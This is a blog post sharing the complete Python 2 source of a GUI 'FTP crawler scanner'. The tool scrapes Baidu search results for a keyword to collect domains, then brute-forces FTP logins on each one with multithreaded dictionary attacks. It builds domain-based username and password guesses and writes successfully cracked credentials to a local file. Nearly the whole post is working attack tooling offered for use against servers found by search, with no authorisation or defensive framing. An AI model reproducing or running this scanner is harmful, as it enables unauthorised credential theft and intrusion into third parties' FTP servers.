阿E扫描器

sss.py(主文件):

 

# -*- coding: GBK -*- 
import wx
import wx.grid
from bs4 import BeautifulSoup
import urllib2
import urllib
import re
import urlparse
import threading
import os
import socket
from time import ctime
from threading import Thread
import time
import ftpp






#不输出log文件
import sys
sys.stderr = sys.stdout


global row 
global col

row = 0
col = 0

global oo #oo为quchong位置
oo = 0


global quchong #去重序列
quchong = [] 
f = open('quchong.txt','a+') #初始化加载之前扫过的。避免浪费时间
for line in f.readlines():
    line = line.strip('\n')
    if not line:
        break
    quchong.append(line)
f.close()

oo = int(len(quchong))


class ThreadFunc(Thread):
    """Test Worker Thread Class"""
    def __init__(self,wxObject,func,events,jicheng=None):
        Thread.__init__(self)
        self.wxObject = wxObject
        self.func = func
        self.event = events
        self.jingcheng = jicheng.jingcheng
        self.start()

    def run(self):
        
        if self.func == 'GOGO':
            self.wxObject.rich_text.WriteText("线程开始!"+'\n')
            self.wxObject.GOGO(self.event)
            
            
        jingcheng = self.wxObject.jingcheng.SetLabel("空闲状态")
        self.wxObject.rich_text.WriteText("线程结束!")

class TestFrame(wx.Frame):
    page = int(0)
    param = ''
    def __init__(self):
        wx.Frame.__init__(self,None,-1,"FTP爬虫扫描器_by_Elliott(qq:1352133162)",size=(680,500))
        self.panel = wx.Panel(self,-1)
        boxsizer = wx.BoxSizer(wx.VERTICAL)
        self.panel.SetSizer(boxsizer)

        #关键词输入框及确认框
        self.searchW = wx.StaticText(self.panel,-1,"关键字:",(10,10))
        self.searchK = wx.TextCtrl(self.panel,-1,"",(60,5),size=(200,20))
        self.searchbtn = wx.Button(self.panel,-1,"开始",(265,5))


        #页数
        self.yeshuK = wx.SpinCtrl(self.panel,-1,"",(70,30),size=(40,-1))
        self.yeshuK.SetRange(1,100)
        self.yeshuK.SetValue(1)
        self.yeshuW = wx.StaticText(self.panel,-1,"爬取页数:",(10,35))

        #绑定确认框
        self.Bind(wx.EVT_BUTTON,self.Baidu,self.searchbtn)

        #搜索引擎选择
        yqbt = wx.StaticText(self.panel,-1,"选择哪个引擎:",(10,60))
        yqBaidu = wx.RadioButton(self.panel,-1,"百度引擎",(100,60))
        yqBaidu.SetValue(True)
        #yqGoogle = wx.RadioButton(self.panel,-1,"谷歌引擎",(180,60))
        #yqZoomeye = wx.RadioButton(self.panel,-1,"钟馗引擎",(260,60))


        #此处加载攻击模块(复选模块)
        


        #搜索进程栏
        #self.gauge = wx.Gauge(panel,-1,50,(0,440),size=(590,25))
        #self.gauge.SetBezelFace(3)
        #self.gauge.SetShadowWidth(3)


        self.jingcheng = wx.StaticText(self.panel,-1,"空闲状态",(0,450))
        
    

        #主要显示模块
        panel2 = wx.Panel(self.panel,-1,style=wx.BORDER_DOUBLE,pos=(0,140),size=wx.Size(600,300))
        rowLabels = []
        colLabels = ["网址","FTP账号|密码"]
        self.grid = wx.grid.Grid(panel2,-1,pos=(0,0),size=(400,150))
        self.grid.SetDefaultColSize(150,resizeExistingCols=False)
        self.grid.CreateGrid(8,1)
        self.grid.SetColLabelValue(0,colLabels[0]) #web Address
        self.grid.SetColLabelValue(1,colLabels[1]) 
        self.grid.AppendCols(numCols=1)

        '''主要显示模块内的TEXT实时输出'''
        self.rich_text = wx.TextCtrl(panel2,-1,'',pos=(0,160),size=(400,130),style=(wx.TE_MULTILINE | wx.TE_AUTO_SCROLL | wx.TE_DONTWRAP | wx.TE_RICH2))




        '''主要显示模块右侧FTP弱口令扫描'''
        #配置FTP名文件
        self.FTPtitle = wx.StaticText(panel2,-1,"FTP弱口令探测",(440,15))
        font = wx.Font(15,wx.SWISS,wx.NORMAL,wx.BOLD)
        self.FTPtitle.SetFont(font)
        self.FTPname = wx.TextCtrl(panel2,-1,"",(420,50),size=(70,20))
        self.FTPnamebtn = wx.Button(panel2,-1,"导入FTP用户名",(490,50),)
        self.FTPpass = wx.TextCtrl(panel2,-1,"",(420,80),size=(70,20))
        self.FTPpassbtn = wx.Button(panel2,-1,"导入FTP密码",(490,80),)
        self.FTPclick = wx.CheckBox(panel2,-1,"启用FTP弱口令扫描",(420,100),(150,20))
        #设置线程
        self.FTPthreads = wx.SpinCtrl(panel2,-1,"",(465,120),size=(35,-1))
        self.FTPthreads.SetRange(1,10)
        self.FTPthreads.SetValue(1)
        self.FTPthreadsW = wx.StaticText(panel2,-1,"线程数:",(420,130))


        self.Bind(wx.EVT_BUTTON,self.DicFile,self.FTPnamebtn)
        self.Bind(wx.EVT_BUTTON,self.DicFile2,self.FTPpassbtn)

    


    def T_Refresh(self,news=''):
        lock = threading.Lock()
        lock.acquire(1)
        self.rich_text.WriteText(news)
        lock.release()
    

    def SUCCESS(self,hostname='',username='',password=''):
        self.grid.AppendRows(numRows=1)
        global row
        global col
        self.grid.SetCellValue(row,col,"%s"%(hostname))
        self.grid.SetCellValue(row,col+1,"%s|%s"%(username,password))
        row += 1
                   

    
    def Baidu(self,event):
        self.dicname = self.FTPname.GetValue()
        self.dicpass = self.FTPpass.GetValue()

        if self.dicname and self.dicpass:
            pass
        else:
            self.OnCloseMe(event)
            return
        self.jingcheng = wx.StaticText(self.panel,-1,"正在运行中",(0,450))
        ThreadFunc(self,func='GOGO',events = event,jicheng=self)
        self.rich_text.Clear()




    def DelChongfu():
        pass


    def Ftpcrack(self,hostname):
        shuchu = self.T_Refresh
        dicName = self.dicname
        dicPass = self.dicpass
        FTPclick = self.FTPclick
        FTPthreads = self.FTPthreads
        S = self.SUCCESS    #调用成功

        ftpstate = FTPclick.GetValue()
        threads = int(FTPthreads.GetValue())
        ftpinstance = ftpp.PythonFtpScanner(window=shuchu,dicname=dicName,dicpass=dicPass,s=S)
        ftpinstance.ftp_login(host=hostname,nthreads = threads)





    def GOGO(self,event):
        yeshu = int(self.yeshuK.GetValue())  # page
        ss = self.searchK.GetValue()
        param = ss.encode("UTF-8")
        shuchu = self.T_Refresh
        FTPclick = self.FTPclick
        FTP1 = self.Ftpcrack
        lock = threading.Lock()
        
        class Baiducrawl(Thread):
            
            def __init__(self):
                Thread.__init__(self)
                
                    
            def run(self):
                
                for i in range(yeshu):
                    lock = threading.Lock()
                    i = i * 10
                    
                    url = 'http://www.baidu.com/s?&wd='+param+'&pn='+str(i)
                    
                    try:
                        time.sleep(0.5)
                        req = urllib2.urlopen(url,timeout=0.5)
                        
                    except urllib2.URLError,e:
                        continue
                    except Exception, e:
                            continue
                    content = req.read()
                    req.close()
                    soap = BeautifulSoup(content,"html.parser")

                    link = soap.find_all(class_ = 't')

                    href = []
                    for i in range(len(link)):
                        pattern = re.compile('href=\"(.+?)\"')#百度
                        
                        rs = pattern.findall(str(link[i]))
                        
                        if len(rs) == 0:
                            break
                         
                        href.append(str(rs[0]))


                    
                    global quchong
                    for t in range(len(href)):
                        try:
                            
                            ss = urllib2.urlopen(href[t],timeout=0.2)
                            
                        except urllib2.URLError,e:
                            continue
                        except Exception, e:
                            continue
                        real = ss.geturl()
                        ss.close()
                        domain = urlparse.urlparse(real)
                        realdomain = domain.netloc #获得真实网址
                        lock.acquire(1)
                        find = '嗅到一个网址:'+realdomain+'\n'
                        shuchu(news=find)
                        lock.release()
                        if realdomain in quchong:
                            continue
                        else:
                            quchong.append(realdomain)
                            lock.acquire(1)
                            find = '去除重复待验证网址:'+realdomain+'\n'
                            shuchu(news=find)
                            quchongfile = open("quchong.txt",'a+')
                            quchongfile.write(realdomain+"\n")
                            quchongfile.close()
                            lock.release()
                                                       
                        
                    global oo#声明调用去重标志,默认0
                    global s #配合去重标志
                    s = 0

                    ftpstate = FTPclick.GetValue()
                    if ftpstate:
                        for i in quchong[oo:]:
                            t = Thread(target=FTP1(hostname=i))
                            t.start()
                            s += 1
                        oo += s #去重标志移动


        threads = []
        for i in range(1):
            threads.append(Baiducrawl())
        
        for thread in threads:
            thread.start()
        
        for thread in threads: 
            thread.join()


        
                




    def DicFile(self,event):
        wildcard = "TXT Document(*.txt)|*.txt|"\
                   "Dic Document(*.dic)|*.dic|"\
                   "All files(*.*)|*.*"
        dialog = wx.FileDialog(None,"选择字典文件",os.getcwd(),"",wildcard,wx.OPEN)

        if dialog.ShowModal() == wx.ID_OK:
            self.FTPname.SetValue(dialog.GetPath())
        dialog.Destroy()

    def DicFile2(self,event):
        wildcard = "TXT Document(*.txt)|*.txt|"\
                   "Dic Document(*.dic)|*.dic|"\
                   "All files(*.*)|*.*"
        dialog = wx.FileDialog(None,"选择字典文件",os.getcwd(),"",wildcard,wx.OPEN)

        if dialog.ShowModal() == wx.ID_OK:
            self.FTPpass.SetValue(dialog.GetPath())
        dialog.Destroy()

    def OnCloseMe(self, event):
        dlg = wx.MessageDialog(None, u"您没有设置FTP字典文件", u"我是温馨的提示栏", wx.OK | wx.ICON_QUESTION)
        if dlg.ShowModal() == wx.ID_OK:
            pass
        dlg.Destroy()



if __name__ == '__main__':
    threads = []

    app = wx.PySimpleApp()
    frame = TestFrame()
    frame.Show()
    app.MainLoop()

 

 

副文件   ftpp.py

 

 

# -*- coding: GBK -*- 
import re
from threading import Thread

from ftplib import FTP
from collections import defaultdict, deque
import socket
import threading
DEBUG = False


global success
success = []



class PythonFtpScanner:

    

    def __init__(self,s=None,window=None,dicname='username.dic',dicpass='password.dic',threads='1'):

        self.window = window
        self.s = s


    
        self.WEAK_USERNAME = [p.replace('\n','') for p in open(dicname).readlines()]
        self.WEAK_PASSWORD = [p.replace('\n','') for p in open(dicpass).readlines()]
        
    def get_sdomain(self,domain):
        """Extract the short domain from the given domain

        >>> get_sdomain('www.redicecn.com')
        'redicecn.com'
        """
        suffixes = 'ac', 'ad', 'ae', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao', 'aq', 'ar', 'arpa', 'as', 'asia', 'at', 'au', 'aw', 'ax', 'az', 'ba', 'bb', 'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo', 'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cat', 'cc', 'cd', 'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop', 'cr', 'cu', 'cv', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'do', 'dz', 'ec', 'edu', 'ee', 'eg', 'er', 'es', 'et', 'eu', 'fi', 'fj', 'fk', 'fm', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi', 'gl', 'gm', 'gn', 'gov', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie', 'il', 'im', 'in', 'info', 'int', 'io', 'iq', 'ir', 'is', 'it', 'je', 'jm', 'jo', 'jobs', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp', 'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls', 'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'me', 'mg', 'mh', 'mil', 'mk', 'ml', 'mm', 'mn', 'mo', 'mobi', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'mv', 'mw', 'mx', 'my', 'mz', 'na', 'name', 'nc', 'ne', 'net', 'nf', 'ng', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om', 'org', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr', 'pro', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'ro', 'rs', 'ru', 'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'sg', 'sh', 'si', 'sj', 'sk', 'sl', 'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td', 'tel', 'tf', 'tg', 'th', 'tj', 'tk', 'tl', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw', 'tz', 'ua', 'ug', 'uk', 'us', 'uy', 'uz', 'va', 'vc', 've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'xn', 'ye', 'yt', 'za', 'zm', 'zw'
        
        sdomain = []
        bdomain = False
        for section in domain.split('.'):
            if section in suffixes:
                sdomain.append(section)
                bdomain = True
            else:
                sdomain = [section]
        return '.'.join(sdomain) if bdomain  else ''


    def get_ssdomain(self,domain):
        """Extract the shortter domain from the given domain

        >>> get_sdomain('www.redicecn.com')
        'redicecn'
        """
        #get sdomain first
        sdomain = self.get_sdomain(domain)

        ssdomian = sdomain.partition('.')[0] if sdomain else ''
        
        return ssdomian


    def ftp_login(self,host,nthreads=1,port=21,log=True):
        """Try ftp login
        
        if success return username & password    
        """
        kk= "开始破解!\n"
        self.window(kk)
        
        
        if host == '':
            return
        
        #get sdomain and ssdomain
        domain = host
        sdomain = self.get_sdomain(domain)
        ssdomain = self.get_ssdomain(domain)

        accounts = deque()
        
        #Prepare username and password
        for username in self.WEAK_USERNAME:
            if  '%domain%' in username or '%sdomain%' in username or '%ssdomain%' in username:
                if sdomain=='':
                    continue
                else:
                    username = username.replace('%domain%',domain)
                    username = username.replace('%sdomain%',sdomain)
                    username = username.replace('%ssdomain%',ssdomain)
                
            for password in self.WEAK_PASSWORD:
                if '%domain%' in password or '%sdomain%' in password or '%ssdomain%' in password:
                    if sdomain=='':
                        continue
                    else:
                        password = password.replace('%domain%',domain)
                        password = password.replace('%sdomain%',sdomain)
                        password = password.replace('%ssdomain%',ssdomain)

                password = password.replace('%null%','')
                password = password.replace('%username%',username)

                if (username,password) not in accounts:
                    accounts.append((username,password))


        class crackThread(Thread):
            """Crack FTP Account Thread
            """
            def __init__(self,window,s):
                Thread.__init__(self)
                self.running = True
                self.window = window
                self.s = s
                self.ftp = FTP()
                #self.ftp.set_debuglevel(2)

            def run(self):
                global lock
                lock = threading.Lock()
                MAX_RETRIES = 0
                retry = 0

                account = None
                while self.running and accounts:

                    try:                    
                        self.ftp.connect(domain,port,timeout=2)
                    except Exception, e:
                        E0 = str(e)
                        lock.acquire(1)
                        self.window(E0)
                        lock.release()
                        lock.acquire(1)
                        self.window('\n')
                        lock.release()
                        error = '连接FTP服务器: %s %s\n' % (host,str(e))
                        lock.acquire(1)
                        self.window(news=error)
                        self.window('\n')
                        lock.release()
                        self.running = False

                        
                    #reconnect every three times
                    loop_num = 0
                    while loop_num<1:
                        loop_num = loop_num + 1
                        
                        if not account and accounts:
                            account = accounts.pop()                     

                        #no account to try
                        if not account:
                            break
                        global success
                        
                        if account in success:
                            break

                        
                        #print 'try ',host,account[0],account[1]
                        T0 = '尝试用户名密码组合: '+host+'( '+account[0]+'| '+account[1]+')\n'
                        
                        lock.acquire(1)
                        self.window(T0)
                        lock.release()
        
                        try:
                            self.ftp.login(account[0],account[1])
                            #no exception happen, it's a correct account

                            T1 = '成功匹配一个! '+host+' ('+account[0]+' |'+account[1]+')\n'
                            lock.acquire(1)
                            self.window(T1)
                            self.s(hostname=host,username=account[0],password=account[1])
                            lock.release()
                            lock.acquire(1)
                            f = open("成功破解FTP文档.txt","a+")
                            f.write(T1)
                            f.close()

                            
                            success.append(host)
                            lock.release()
                            account = None
                            return
                            break
                        except Exception, e:
                            E1 = str(e)
                            lock.acquire(1)
                            self.window(E1)
                            lock.release()
                            lock.acquire(1)
                            self.window('\n')
                            lock.release()
                            emsg = str(e)
                            if 'connection' in emsg.lower() or 'tries' in emsg.lower():
                                retry = retry +1
                            else:
                                #reset retry
                                account = None
                                retry = 0


        threads = []
        for i in range(nthreads):
            threads.append(crackThread(window=self.window,s=self.s))
        
        for thread in threads:
            thread.start()
        
        for thread in threads: 
            thread.join()

 

posted @ 2016-02-26 22:38  elliottc  阅读(282)  评论(0)    收藏  举报